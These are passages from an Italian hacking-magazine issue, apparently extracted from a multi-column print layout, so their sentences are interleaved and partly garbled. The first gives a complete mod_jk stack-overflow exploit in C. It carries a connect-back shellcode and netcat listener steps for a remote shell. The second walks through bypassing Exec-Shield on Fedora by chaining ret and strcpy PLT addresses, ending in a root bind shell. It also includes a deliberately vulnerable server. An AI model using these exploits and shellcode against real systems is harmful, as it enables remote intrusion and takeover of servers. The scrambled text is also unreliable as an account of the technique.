Contrariamente però al sorgente di esempio mostrato in Tabella 1, l'obiettivo questa volta non è fare crashare il servizio, bensì ottenere una shell remota. Solitamente (e questo caso conferma quella che viene considerata una quasi regola) la costruzione del buffer si sostanzia nel: ricevere la shell ed in “Selected Encoder” selezionare “Alpha2”[17], quindi premere sul pulsante “Generate Payload” e sostituire il vecchio shellcode con il nuovo nel codice riportato in Tabella 2. La compilazione del sorgente è sempre la stessa: $ gcc mod_jk_exploit.c –o mod_jk_exploit 1) riempire una parte cospicua con dei NOP[16] (0x90); Prima di lanciare l'exploit dovrete però aprire la porta nella quale volete ricevere la shell. Una sessione di netcat[18] sarà sufficiente (eseguite il programma come utente root se intendete utilizzare una porta nel range 1-1024): for(i = 0; i <= 3921; i++) buf[i] = 0x90; 2) collocare in seguito lo shellcode; $ nc –l porta calc = 4127 - strlen(shellcode) - 4; memcpy(buf+calc, shellcode, sizeof(shellcode)); Da un altro prompt avviate quindi l'exploit: $ ./mod_jk_exploit ip_del_web_server 80 3) successivamente inserire l'indirizzo di ritorno che modificherà quello in origine posto nello stack attraverso l'istruzione “call” dalla funzione che Dalla finestra del netcat potete adesso interagire con il prompt di shell del server vulnerabile: ha chiamato quella vulnerabile. id uid=501(wwwsite) gid=501(wwwsite) groups=501(wwwsite) long ret = 0xbffff060; […] memcpy(buf+4123, &ret, 4); I sorgenti di esempio riportati in Tabella 1 ed in Tabella2 possono essere prelevati dal sito http://www.segfault.it/SS/001/vanillab0f/ mod_jk_exploit.tar.gz Quando a seguito dell'overflow del buffer “url” il return address verrà sovrascritto con 0xbffff060, il registro EIP puntando a quell'indirizzo continuerà l'esecuzione del processo dai NOP fino a giungere allo shellcode che verrà a sua volta eseguito aprendo una shell. In Tabella 2 riportiamo l'exploit per intero. Lo shellcode utilizzato in questo caso è un connectback (non apre una porta in ascolto sul server vulnerabile bensì si connette al sistema dal quale l'exploit è stato lanciato e poi fornisce accesso al prompt dei comandi). Per eseguire i vostri test dovrete sostituire questo shellcode con uno personalizzato. E' sufficiente collegarsi al sito http://metasploit.com:55555/PAYLOADS, [16] No Operation: forza il processore ad eseguire l'istruzione successiva in memoria. La presenza dei NOP aumenta le probabilità di successo di un exploit, in quanto presuppone che non sia necessario conoscere l'esatto punto in memoria in cui sarà collocato uno shellcode. [17] Un classico shellcode non funzionerebbe in quanto molti dei caratteri di cui è composto verrebbero filtrati da Apache, precludendo la corretta riuscita dell'attacco. indicare in “ADDR” l'indirizzo IP dal quale intendete lanciare l'exploit, in “PORT” la porta nella quale volete [18] http://www.vulnwatch.org/netcat/ 24 look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK TABELLA 1: crash.c /* crash.c */ #include <stdio.h> #include <stdlib.h> #include <netinet/in.h> #include <sys/socket.h> #include <error.h> #include <errno.h> #include <string.h> #include <strings.h> int main(int argc, char *argv[]) { /* 32 byte */ char crash [] = "BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII"; /* descrittori, variabili e strutture utilizzate dal programma */ int fd, i = 0; struct sockaddr_in xab; /* "buf": buffer che conterrà l'URI della richiesta HTTP "request": variabile che conterrà l'intera richiesta HTTP comprensiva di URI */ char buf[5000], request[8000]; /* Se non vengono passati due parametri al programma, mostra la sintassi di utilizzo ed esci */ if (argc != 3) { printf("%s: ip port\r\n", argv[0]); exit(0); } /* Si crea un socket TCP per connettersi al web server */ fd = socket(AF_INET, SOCK_STREAM, 0); if (fd == -1) { printf("socket: %s\r\n", strerror(errno)); exit(EXIT_FAILURE); } /* Si azzerano strutture e buffer prima dell'utilizzo */ memset(&buf, 0, sizeof(buf)); memset(&request, 0, sizeof(request)); memset(&xab, 0, sizeof(xab)); /* 25 look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK si definiscono famiglia, porta ed indirizzo al quale ci si connetterà attraverso questo socket */ xab.sin_family = AF_INET; xab.sin_port = htons(atoi(argv[2])); xab.sin_addr.s_addr = inet_addr(argv[1]); /* buf viene riempito di "A" (0x41) per 4095 byte */ for(i = 0; i <= 4094 ; i++) buf[i] = 0x41; /* in seguito viene copiato all'interno di "buf" il contenuto di "crash" generando un URI del tipo: AAAAAAAA[x4095]BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII" */ memcpy(buf+4095, crash, sizeof(crash)); /* Viene creata una richiesta HTTP del tipo: GET /[URI] HTTP/1.0 */ sprintf(request, "GET /%s HTTP/1.0\r\n\r\n", buf); printf("Invio: \r\n%s\r\n", request); /* Ci si connette al web server */ i = connect(fd, (struct sockaddr *)&xab, sizeof(xab)); if (i == -1) { printf("connect: %s\r\n", strerror(errno)); exit(EXIT_FAILURE); } /* Si invia la richiesta HTTP al web server */ send(fd, request, strlen(request), 0); /* Si chiude la comunicazione con il web server */ close(fd); } TABELLA 2: mod_jk_exploit.c /* mod_jk_exploit.c */ #include <stdio.h> #include <stdlib.h> #include <netinet/in.h> #include <sys/socket.h> #include <error.h> 26 look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK #include <errno.h> #include <string.h> #include <strings.h> int main(int argc, char *argv[]) { /* Connect-Back Shellcode Sostituiscilo generandone uno personale visitando il sito http://metasploit.com:55555/PAYLOADS Questo shellcode fa una reverse connect all'indirizzo 192.168.0.248 sulla porta 4321 */ char shellcode [] = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49" "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x37\x49\x49\x51\x5a\x6a\x49" "\x58\x50\x30\x42\x31\x42\x41\x6b\x42\x41\x59\x32\x42\x42\x32\x41" "\x41\x30\x41\x41\x58\x50\x42\x38\x42\x42\x75\x38\x69\x70\x31\x6b" "\x6b\x62\x73\x62\x63\x71\x43\x61\x7a\x63\x32\x53\x5a\x45\x36\x52" "\x78\x4f\x79\x6d\x31\x7a\x6d\x4d\x50\x6e\x73\x42\x79\x6c\x70\x45" "\x6f\x6a\x6d\x6f\x70\x73\x79\x62\x59\x58\x79\x41\x4b\x51\x4a\x41" "\x78\x4b\x70\x4f\x58\x65\x50\x4b\x4e\x31\x76\x30\x68\x76\x70\x68" "\x61\x71\x53\x42\x46\x70\x53\x6f\x79\x69\x71\x6e\x50\x51\x76\x66" "\x30\x33\x61\x31\x43\x6b\x39\x6d\x31\x73\x73\x38\x4d\x4f\x70\x63" "\x62\x43\x58\x36\x4f\x36\x4f\x50\x73\x75\x38\x42\x48\x66\x4f\x52" "\x42\x71\x79\x50\x6e\x4d\x59\x4b\x53\x43\x62\x36\x33\x4d\x59\x6d" "\x31\x6e\x50\x76\x6b\x7a\x6d\x4b\x30\x49"; int fd, i = 0; int calc; struct sockaddr_in xab; char buf[4128], request[8000]; /* Puntatore ai NOP che precedono lo shellcode in memoria. L'indirizzo è stato testato sia su Red Hat 7.2 che su Debian 3.0/3.1/4.0 */ long ret = 0xbffff060; if (argc != 3) { printf("%s: ip port\r\n", argv[0]); exit(0); } fd = socket(AF_INET, SOCK_STREAM, 0); if (fd == -1) { printf("%s\r\n", strerror(errno)); exit(EXIT_FAILURE); } memset(&buf, 0, sizeof(buf)); memset(&xab, 0, sizeof(xab)); xab.sin_family = AF_INET; xab.sin_port = htons(atoi(argv[2])); xab.sin_addr.s_addr = inet_addr(argv[1]); 27 look at LINUX STACK OVERFLOW VANILLA: IL CASO MOD_JK /* Riempiamo buf per 3922 byte di NOP */ for(i = 0; i <= 3921; i++) buf[i] = 0x90; /* Calcoliamo da quale posizione all'interno di buf parte la copia dello shellcode, ovvero da: 4127 byte (dimensione totale dell'URI senza lo "/") - dimensione dello shellcode (202 byte) - 4 byte di return address = 3921 */ calc = 4127 - strlen(shellcode) - 4; memcpy(buf+calc, shellcode, sizeof(shellcode)); /* Collochiamo alla fine di "buf" il valore che sovrascriverà il return address della funzione vulnerabile */ memcpy(buf+4123, &ret, 4); sprintf(request, "GET /%s HTTP/1.0\r\n\r\n", buf); printf("[*] Connect to remote host...\r\n"); i = connect(fd, (struct sockaddr *)&xab, sizeof(xab)); if (i == -1) { printf("%s\r\n", strerror(errno)); exit(EXIT_FAILURE); } printf("[*] Send data to remote host...\r\n"); send(fd, request, strlen(request), 0); sleep(1); printf("[*] Done...checks for shell\r\n"); close(fd); } 28 look at BYPASSARE EXEC-SHIELD SU FEDORA E REDHAT LINUX (x86) LINUX Execute della tabella di paging dei sistemi x86-64. Non possiamo utilizzare più i tradizionali shellcode? Benissimo…rifugiamoci allora nelle più complesse e mai tramontate tecniche return-into-libc. Impossibile…su Fedora gli indirizzi delle librerie di sistema sono collocati sotto i 16 MB e sono tutti quanti costituiti da un NULL byte iniziale (ad esempio 0x004abd55), circostanza che rende inutile nella Introduzione uando nella primavera del 2003 venne rilasciata la Red Hat 9.0 ed annunciato che sarebbe stata l'ultima distribuzione della serie liberamente scaricabile dalla rete, molti utenti (tra cui il sottoscritto) avvertirono un leggero ma fastidioso tonfo al cuore. Per gli hacker di metà/fine anni 90, le diverse versioni del sistema operativo sviluppate dalla compagnia con il simbolo del cappello rosso hanno significato molto. Chi ha infatti cominciato a smanettare in quel periodo ben si ricorda gli exploit rilasciati dal teso-team[1] per i demoni wuftpd, rpc.statd, lpd ed i target principali a cui essi miravano (appunto Red Hat 6.0, 6.1, 6.2 e 7.0, distribuzioni con le quali era al tempo abbastanza comune imbattersi mentre si smanettava in rete). Poi arrivò Fedora[2] e ben presto si capì che Red Hat avrebbe utilizzato il progetto come banco di prova per testare nuove funzionalità da portare in seguito sui rilasci stabili delle edizioni commerciali dei suoi prodotti. Fedora oggi è quindi divenuta la distribuzione di riferimento per chi un tempo usava ed apprezzava gratuitamente Red Hat Linux. Sono passati però quasi nove anni dalla storica vulnerabilità della versione 2.6.0(1) del wu-ftpd o dalle versioni buggate di rpc.statd ed il panorama della sicurezza informatica è cambiato sensibilmente da allora, soprattutto con l'avvento delle nuove tecnologie che sin dall'inizio hanno promesso di rendere “vicino all'impossibile” lo sfruttamento delle comuni falle software come gli stack overflow. Q maggior parte dei casi lo sfruttamento di un attacco di tipo return-into-libc (Ndr. almeno nelle modalità tradizionali). No, nemmeno linux-gate.so.1 (che ha fatto la felicità di moltissimi utenti/smanettoni di Slackware ed Ubuntu) può esserci utile in questo caso, anche a causa delle proprietà di randomizzazione (ASLR) che riguardano tanto lo spazio di indirizzamento virtuale dei processi, quanto il Virtual DSO[3], proprietà che rende impossibile predire con esattezza dove funzioni o istruzioni di interesse verranno collocate in memoria. Queste ed una serie di altre difficoltà hanno così spinto alcuni personaggi della rete a definire Fedora “la bestia nera degli hacker” ed Exec-Shield “il mostro“ o “la cosa“, termini di comune richiamo cinematografico utilizzati proprio per cercare di rendere l'idea del livello di complessità aggiunto al corretto exploiting di un comune buffer overflow. Effettivamente l'introduzione delle moderne misure di protezione ha portato innumerevoli grattacapi a chi fino a poco tempo prima era abituato a sfruttare nelle modalità tradizionali un “comune” e per certi versi “banale” stack overflow. Fedora è proprio una di quelle distribuzioni hardenizzate al midollo, distribuzione che soprattutto a partire dalla versione Core 5 ha fiaccato gli animi di moltissimi hacker (o sedicenti tali) facendo apparire anche lo sfruttamento di un banale stack overflow, un'impresa da titano. Primo imputato in aula per questo panico generale, Exec-Shield, la tecnologia che simula a livello software il bit No- [1] Celebre hacker crew che ha operato fra il 1998 ed il 2004. [2] http://fedoraproject.org/: Progetto open source sponsorizzato ma non direttamente sostenuto da Red Hat. E' sostanzialmente una distribuzione Linux client/server side fedele nelle funzionalità alle edizioni commerciali di Red Hat Enterprise Linux. [3] Oggetto condiviso esposto dal kernel per implementare le virtual syscall. Consiste in una pagina di memoria mappata nello spazio di indirizzamento virtuale di ogni processo e collocata spesso ad un indirizzo fisso, nella maggior parte dei casi anche quando /proc/sys/kernel/randomize_va_space risulta essere attivo (ovvero impostato ad 1). 29 look at BYPASSARE EXEC-SHIELD SU FEDORA E REDHAT LINUX (x86) LINUX disassemblare do_it() ed inserire un punto di arresto Exec-Shield un po' più da vicino… un attimo prima che la funzione ritorni. Dopo abbiamo avviato server_vuln con il comando “run” del gdb. Leggendo fin qui verrebbe da asserire che bypassare Exec Shield sia praticamente impossibile. Niente di più sbagliato! Attualmente esistono almeno due/tre metodi noti per farlo, ognuno con i suoi pro ed i suoi contro ed ognuno sfruttabile a seconda di precise circostanze che si devono verificare durante la fase di exploiting o che dipendono dal modo in cui l'applicazione vulnerabile è stata scritta. Oggi descriveremo in dettaglio uno di questi tre metodi partendo dal codice fallato di esempio riportato in Tabella 1. Si tratta di un semplice servizio che si mette in ascolto sulla porta TCP 60000, prende via socket una stringa inviata dall'utente, la ristampa a video e chiude la connessione. La parte più interessante è costituita dalla funzione do_it() e precisamente dalla Poiché l'unica variabile allocata all'inizio nello stack frame della funzione do_it() è request, dovrebbero essere sufficienti 264 byte per riuscire a manipolare arbitrariamente EIP (256 byte per il sovrascrivere il buffer, 4 byte per sovrascrivere il Frame Pointer ed altri 4 byte per sovrascrivere l'Instruction Pointer). Proviamo quindi da un prompt dei comandi differente a vedere cosa succede inviando 264 'A' al servizio: # telnet attack_machine 60000 Trying xxx.xxx.xxx.xxx... Connected to attack_machine. Escape character is '^]'. AAAAAAAAAAAAAAAAAAAAAAAAAA[…] strcpy() che cerca di copiare la stringa ricevuta Completato questo task il debugger si arresta al breakpoint dichiarato. Uno sguardo all'attuale conformazione dello stack ci rivela che l'arrary request è stato correttamente sovrascritto così come dall'utente all'interno di request, un array di caratteri della dimensione di 256 byte. Tuttavia dal main() è possibile notare che la richiesta dell'utente letta attraverso read() viene scritta in mex (un char array di l'indirizzo del Frame Pointer e dell'Instruction Pointer: 1024 byte) prima di essere trasferita alla funzione handle() e quindi a do_it(). Ciò significa che l'utente Breakpoint 1, 0x080488dd in do_it () (gdb) p $esp $1 = (void *) 0xbfc341ec (gdb) x/4bx 0xbfc341ec 0xbfc341ec: 0x41 0x41 0x41 0x41 può inviare più di 256 byte di dati e causare così uno stack overflow. Osserviamo più da vicino cosa accade quando il sorgente di esempio della Tabella 1 viene compilato ed eseguito su Fedora Core 7. Per capire meglio quali difficoltà Exec-Shield antepone all'esecuzione di codice remoto avviamo una sessione di debugging con gdb: Infatti L'Instruction Pointer punta a 0x41414141 (le ultime quattro A inviate al servizio). Continuando l'esecuzione dell'applicazione da questo punto, l'istruzione “ret” dovrebbe prelevare dallo stack l'indirizzo sovrascritto e causare un Segmentation Fault (0x41414141 è relativo ad un'area di memoria # gcc server_vuln.c –o server_vuln # gdb ./server_vuln (gdb) disas do_it Dump of assembler code for function do_it: […] 0x080488dd <do_it+86>: ret End of assembler dump. (gdb) break *0x080488dd Breakpoint 1 at 0x80488dd (gdb) run inesistente). Ma vediamo cosa accade in realtà: (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x080488dd in do_it () (gdb) p $eip $2 = (void (*)()) 0x80488dd <do_it+86> Ciò che abbiamo fatto qui è stato semplicemente 30 look at BYPASSARE EXEC-SHIELD SU FEDORA E REDHAT LINUX (x86) LINUX effettivamente possibile. Tra lo stack frame della funzione vulnerabile e quello della funzione chiamante o delle funzioni ancora antecedenti, deve essere dichiarato da qualche parte (attenzione non immediatamente prima dello stack frame della funzione vulnerabile ma una manciata di byte più in là che quantificheremo meglio dopo) un puntatore al buffer che viene sovrascritto. Dal debugger apprendiamo che dopo il crash dell'applicazione, il registro EIP non punta direttamente a 0x41414141, bensì all'indirizzo 0x80488dd che nel listato assembly visualizzato in precedenza corrisponde proprio all'istruzione “ret” in do_it(). In parole povere Exec-Shield ha fatto il suo dovere e non ha permesso che il registro EIP venisse manipolato a piacimento dall'attacker ed utilizzato per puntare ad un eventuale shellcode nello Stack. La teoria dietro l'attacco Bye Bye Stack Memory In realtà non abbiamo ancora risposto esaurientemente alla domanda posta poco prima: come fare a collocare uno shellcode al di fuori dello Stack? La tecnica che ci accingiamo a spiegare (per il momento in modo teorico e solo successivamente sul pratico) non è in realtà nuova ma è un riadattamento di quanto descritto da Nergal nel numero 58 di Phrack[4]. Essa dimostra che gli attacchi basati su shellcode sono ancora possibili su distribuzioni come Fedora pur la presenza di misure di protezione complesse come Exec-Shield. Questa tecnica funziona con minime modifiche sia su Fedora che su Red Hat Enterprise e CentOS[5]. I test dai noi condotti sono stati comunque svolti su Fedora Core 6 e la più recente edizione Core 7. L'ultima frase del paragrafo precedente è vitale per comprendere la tecnica che ci stiamo accingendo a descrivere e merita pertanto di essere riletta con attenzione. Non possiamo posizionare uno shellcode nello stack non significa però che non possiamo collocarlo in un'area di memoria differente, possibilmente dotata di permessi in scrittura ed esecuzione: # ps –wuax | grep server_vuln root 2374 0.0 0.1 1588 332 pts/0 T 19:29 0:00 /usr/local/test/server_vuln # cat /proc/2374/maps […] 004bd000-004be000 rwxp 0001b000 fd:00 2258040 /lib/ld-2.6.so […] 00610000-00611000 rwxp 00150000 fd:00 2258041 /lib/libc-2.6.so […] Per collocare uno shellcode in una zona di memoria residente all'esterno dello Stack, accessibile sia in scrittura che in esecuzione, possiamo avvalerci di un attacco avanzato del tipo return-into-libc utilizzando la funzione di sistema strcpy(). L'attacco è riassumibile in quattro semplici punti: Osservando lo stato della memoria dell'applicazione vulnerabile di esempio, quest'area potrebbe benissimo essere un qualsiasi punto nel range di indirizzi di ld2.6.so o libc-2.6.so. Entrambi queste due librerie linkate dinamicamente a server_vuln possono infatti essere utilizzate per scrivere istruzioni che verranno interpretate come eseguibili dal processore (notare i permessi assegnati rwxp). La domanda a questo punto [4] http://www.phrack.org/archives/58/p58-0x04: The advanced return-into-lib(c) exploits. è: come fare a scrivere uno shellcode in un indirizzo residente all'esterno dello Stack? Si deve verificare un'unica condizione vitale affinché ciò possa essere [5] http://www.centos.org/: distribuzione derivata da Red Hat Enterprise Linux e gratuitamente scaricabile. 31 look at BYPASSARE EXEC-SHIELD SU FEDORA E REDHAT LINUX (x86) LINUX Dopo aver saturato il buffer non controllato dell’applicazione di esempio: I vantaggi del riadattamento della tecnica di Nergal 1) L'indirizzo di ritorno della funzione vulnerabile (ovvero nel nostro caso do_it()) viene alterato Questa tecnica (che ci accingiamo a sfruttare sul pratico) permette di rendere nulle alcune misure di protezione implementate su Red Hat Linux e le distribuzioni derivate (Fedora e CentOS). Più precisamente di: con l'indirizzo in memoria in cui si trova un'istruzione “ret”. Nella maggior parte delle circostanze queste istruzioni necessitano di essere concatenate una di seguito all'altra (riferirsi a tal proposito alla Figura 1) in modo da allineare il puntatore allo shellcode e renderlo il secondo parametro della strcpy() invocata al punto 2. - bypassare Exec-Shield: possiamo eseguire del codice da remoto attraverso shellcode. - bypassare i meccanismi di Address Space Layout Randomization: non abbiamo bisogno di conoscere con esattezza l'indirizzo nello stack in cui si trova lo shellcode, basta semplicemente sapere la distanza quantificata a gruppi di 4 byte che intercorre tra l'indirizzo di ritorno sovrascritto della funzione vulnerabile ed il puntatore allo shellcode dichiarato più in là nello stack (vi ricordate la condizione vitale che si doveva verificare e che abbiamo citato un paio di paragrafi addietro?). - evitare di utilizzare funzioni di sistema collocate sotto i 16 MB: in effetti viene utilizzato l'indirizzo PLT di strcpy() che è dichiarato 2) A seguire viene collocato l'indirizzo PLT[6] della funzione strcpy(). 3) Successivamente viene collocato di nuovo l'indirizzo in memoria in cui si trova un'istruzione “ret”. Operando in questo modo al ritorno da strcpy() il flusso di esecuzione del programma proseguirà dall'indirizzo della libreria dichiarato al punto 4, eseguendo effettivamente lo shellcode. 4) Infine viene posto nello Stack l'indirizzo di una qualsiasi area di memoria marcata come accessibile in scrittura ed esecuzione (fare riferimento al paragrafo precedente per capire come identificarla). sempre in un punto fisso del file binario e non l'indirizzo nella libreria di sistema che contiene un NULL byte. Ciò rende ancora possibile usufruire a piacimento di tecniche return-into-libc[7]. L'effetto prodotto alla fine sarà che il contenuto dell'area di memoria puntata nello step 1 (dove risiederà lo shellcode) verrà copiato all'indirizzo specificato nel punto 4. Successivamente questo verrà invocato per mezzo del ret dichiarato al punto 3. [6] Procedure Linkage Table: E' una tabella che i file in formato ELF utilizzano per il linking dinamico, ovvero per consentire alle applicazioni di accedere a runtime alle funzioni contenute in una libreria di sistema (ad esempio libc). All'esecuzione del programma, durante la chiamata ad una funzione contenuta in una libreria di sistema, viene invocata con un'istruzione “call” la Trattandosi di una zona marcata come eseguibile, le istruzioni qui residenti verranno interpretate come codice ed opportunamente eseguite dal processore. Complimenti…avete eseguito una shell! relativa entry PLT che a sua volta salta ad un indirizzo nella Global Offset Table (GOT) che punta al vero codice della funzione. Tecnica avanzata Return-Into-Libc RET RET RET ... strcpy() PLT RET RWX Library Address [7] Se la vulnerabilità applicativa che si sta cercando di sfruttare deriva da una delle funzioni C di gestione delle stringhe come strcpy(), la presenza di un NULL byte nel buffer sovrascritto Shellcode Pointer Figura 1: Collocazione nello stack degli elementi utili ad eseguire uno shellcode in presenza di Exec-Shield 32 determinerà l'interruzione immediata della copia dei dati, risultando in un attacco incompleto e quindi non funzionante. look at BYPASSARE EXEC-SHIELD SU FEDORA E REDHAT LINUX (x86) LINUX Bene. Adesso è arrivato il momento di mettere in pratica quanto sinora scritto solo in modo teorico. Come al solito la creazione di un exploit funzionante richiederà la raccolta di alcune informazioni preventive. Procediamo quindi. 0x41 0x41 […] 0xbfe41540: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 L'indirizzo 0xbfe41440 punta infatti al buffer di “A” inviato dall'utente. Esattamente la condizione che ci serve per bypassare Exec-Shield. Lo scopo è quindi quello di costruire opportunamente i contenuti che fanno seguito al buffer saturato in modo da allineare nello stack gli argomenti richiesti dalla strcpy(). Uno Fase 1: Trovare l'offset del puntatore allo shellcode Come già detto la condizione primaria all'exploiting della vulnerabilità del sorgente mostrato in Tabella 1 è che nello Stack deve risiedere, ad una sufficiente distanza dal frame della funzione vulnerabile, un puntatore che punti al buffer sovrascritto. Cerchiamo di capire se questo è il nostro caso. Riavviamo la stessa sessione di debugging ed inseriamo lo stesso breakpoint come già spiegato nel paragrafo “ExecShield un po' più da vicino” a pagina 30. Sempre come riportato in quel paragrafo, colleghiamoci al servizio ed inviamo 264 byte di dati. Al manifestarsi del breakpoint analizziamo il contenuto dello Stack a partire dall'attuale indirizzo puntato da ESP: (gdb) x/100bx $esp 0xbfe413fc: 0x41 0x41 0x0d 0x0a 0xbfe41404: 0x70 0x44 0xf4 0xff 0xbfe4140c: 0x20 0x14 0xd0 0x13 0xbfe41414: 0xf3 0x13 0x78 0x18 0xbfe4141c: 0x20 0x88 0x40 0x14 […] 0x41 0x00 0x4b 0x60 0xe4 0x58 0x58 0xe4 0x04 0xe4 di questi è proprio il puntatore in memoria in cui risiede lo shellcode! Fase 2: Trovare l'indirizzo di un'istruzione ret L'indirizzo di un'istruzione “ret” ci serve per allineare nello stack gli argomenti che verranno passati alla strcpy(), fungendo null'altro che da padding: (gdb) disas do_it […] 0x080488dd <do_it+86>: 0x41 0xbf 0x00 0x00 0xbf 0x00 0x00 0xbf 0x08 0xbf ret Per lo scopo possiamo benissimo utilizzare “0x080488dd” ma in linea di massima qualsiasi altro punto nel binario contenente questa istruzione andrà bene. Fase 3: Trovare l'indirizzo PLT di strcpy() Trovare l'indirizzo PLT di strpcy() è altrettanto semplice. Sempre disassemblando la funzione do_it() da gdb si deve identificare l'apposita L'output è stato suddiviso a blocchi di 4 byte per maggiore comprensione. Il primo indirizzo ( 0x41414141 ) corrisponde al return address istruzione “call”: […] 0x080488c1 <do_it+58>: <strcpy@plt> […] sovrascritto. 9 indirizzi più avanti troviamo proprio ciò che stavamo cercando: (gdb) x/264bx 0xbfe41440 0xbfe41440: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xbfe41448: 0x41 0x41 0x41 0x41 0x41 0x41 call 0x8048518 Nel nostro esempio “0x8048518” è l'indirizzo che ci serve. 33 look at BYPASSARE EXEC-SHIELD SU FEDORA E REDHAT LINUX (x86) LINUX Fase 4: Identificare un'area in memoria accessibile in scrittura ed esecuzione Qui basta semplicemente individuare il pid del servizio vulnerabile ed analizzare il filesystem /proc. Un esempio di questo tipo lo abbiamo già mostrato nel paragrafo “Bye Bye Stack Memory” a pagina 31. Approfittando di quell'output possiamo scegliere un qualsiasi indirizzo compreso fra 0x004bd000 e 0x004be000 oppure fra 0x00610000 e 0x00611000. Nel nostro caso la scelta è caduta su 0x004bd055. spazzatura) per raggiungere i 260 byte (ovvero per arrivare a sovrascrivere il Frame Pointer della funzione vulnerabile): "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAA" Successivamente dovranno essere concatenate sei istruzioni “ret”: "\xdd\x88\x04\x08\xdd\x88\x04\x08" "\xdd\x88\x04\x08\xdd\x88\x04\x08" "\xdd\x88\x04\x08\xdd\x88\x04\x08" Ultimo step: Creare l'exploit Osserviamo per un momento ancora il contenuto dello Stack così come mostrato con il gdb durante la Fase 1, ovvero poco prima che l'overflow si manifestasse. Mettendo in conto lo stesso return address sovrascritto, sappiamo che da esso al puntatore del buffer utente ci stanno in mezzo 9 indirizzi. Ciò sarà sempre vero. Ad ogni nuova esecuzione dell'applicazione potrà variare l'indirizzo base dello Stack Pointer per le proprietà ASLR del sistema operativo, ma la distanza degli argomenti rimarrà sempre la stessa. Per avere un allineamento come quello della Figura 1, la stringa inviata al servizio vulnerabile dal nostro exploit (riportato in Tabella 2) dovrà comporsi delle seguenti parti. All'inizio verrà collocato lo shellcode: char shellcode[] = "\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74" "\x24\xf4\x5b\x81\x73\x13\x84\x06\x32" "\xd3\x83\xeb\xfc\xe2\xf4\xb5\xdd\x61" "\x90\xd7\x6c\x30\xb9\xe2\x5e\xab\x5a" "\x65\xcb\xb2\x45\xc7\x54\x54\xbb\xa6" "\xbe\x54\x80\x0d\xe7\x58\xb5\xdc\x56" "\x63\x85\x0d\xe7\xff\x53\x34\x60\xe3" "\x30\x49\x86\x60\x81\xd2\x45\xbb\x32" "\x34\x60\xff\x53\x17\x6c\x30\x8a\x34" "\x39\xff\x53\xcd\x7f\xcb\x63\x8f\x54" "\x5a\xfc\xab\x75\x5a\xbb\xab\x64\x5b" "\xbd\x0d\xe5\x60\x80\x0d\xe7\xff\x53" Quindi andrà posto l'indirizzo PLT della funzione strcpy(): "\x18\x85\x04\x08" Ancora un'istruzione “ret”: "\xdd\x88\x04\x08" Ed infine l'indirizzo prescelto che punta all'area di memoria accessibile in scrittura ed esecuzione: "\x55\xd0\x4b\x00"; Adesso mettiamo nuovamente sotto debugging l'applicazione vulnerabile ed impostiamo un break point prima del ritorno della funzione do_it(). Fatto ciò, compiliamo e lanciamo l'exploit in Tabella 2: $ gcc exploit.c –o exploit $ ./exploit indirizzo_ip Dal punto di arresto del debugger analizziamo ancora una volta la conformazione dello Stack: La sua dimensione (108 byte) richiederà in seguito l'aggiunta di altri 152 byte di garbage data (dati 34 (gdb) x/40bx $esp 0xbfbf11ac: 0xdd 0x88 0xdd 0x88 0xbfbf11b4: 0xdd 0x88 0xdd 0x88 0xbfbf11bc: 0xdd 0x88 0xdd 0x88 0xbfbf11c4: 0x18 0x85 0xdd 0x88 0x04 0x04 0x04 0x04 0x04 0x04 0x04 0x04 0x08 0x08 0x08 0x08 0x08 0x08 0x08 0x08 [*] [*] [*] [*] [*] [*] [**] [*] look at BYPASSARE EXEC-SHIELD SU FEDORA E REDHAT LINUX (x86) LINUX 0xbfbf11cc: 0x55 0xd0 0x4b 0x00 0xf0 0x11 0xbf 0xbf uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm ),6(disk),10(wheel) [***] Gli indirizzi contraddistinti da un asterisco sono i puntatori all'istruzione “ret”, quello con due asterischi è l'entry PLT di strcpy() mentre con tre abbiamo contrassegnato l'indirizzo dell'area di memoria in cui lo shellcode deve essere copiato. In grassetto è possibile invece notare l'indirizzo che punta al buffer utente (ovvero all'inizio dello shellcode). Risulta cambiato rispetto alla precedente sessione di debugging per via delle funzionalità di Address Space Layout Randomization del sistema operativo ma la sua posizione (offset) nello Stack è rimasta uguale. Continuando nell'esecuzione dell'applicazione viene infine aperta una shell sulla porta TCP 8888: Exec-Shield è stato così bypassato. Conclusione Quello descritto oggi è solo un metodo per bypassare Exec-Shield. Non è come sfruttare un Vanilla Stack Overflow ma è ugualmente una tecnica valida. Per fare pratica con un'applicazione reale compilata su Fedora, Red Hat Linux o CenOS, potete comunque prendere come riferimento la vulnerabilità del Mod_JK descritta nell'articolo precedente. Anche lì da qualche parte nello stack troverete un puntatore al buffer utente :) Per accedere ai contenuti messi a disposizione dalla redazione visita http://www.segfault.it/SS/001/ExecShield/metodo_one.tar.gz $ nc IP_SERVER 8888 id Tabella 1: server_vuln.c #include #include #include #include #include #include #include #include <stdio.h> <stdlib.h> <netinet/in.h> <sys/socket.h> <error.h> <errno.h> <string.h> <strings.h> void handle(char *); void do_it(char *); int main(int argc, char *argv[]) { /* Puntatore al buffer inviato dall'utente. E' importante per dimostrare che un attacco tramite shellcode è ancora possibile pur la presenza di Exec-Shield. */ char *pointer; int fd, newfd, ret, clen; struct sockaddr_in xab, client; char mex[1024]; fd = socket(AF_INET, SOCK_STREAM, 0); if (fd == -1) { printf("%s\r\n", strerror(errno)); exit(EXIT_FAILURE); } memset(&xab, 0, sizeof(xab)); xab.sin_family = AF_INET; xab.sin_port = htons(60000); xab.sin_addr.s_addr = ntohl(INADDR_ANY); 35 look at BYPASSARE EXEC-SHIELD SU FEDORA E REDHAT LINUX (x86) LINUX ret = bind(fd, (struct sockaddr *)&xab, 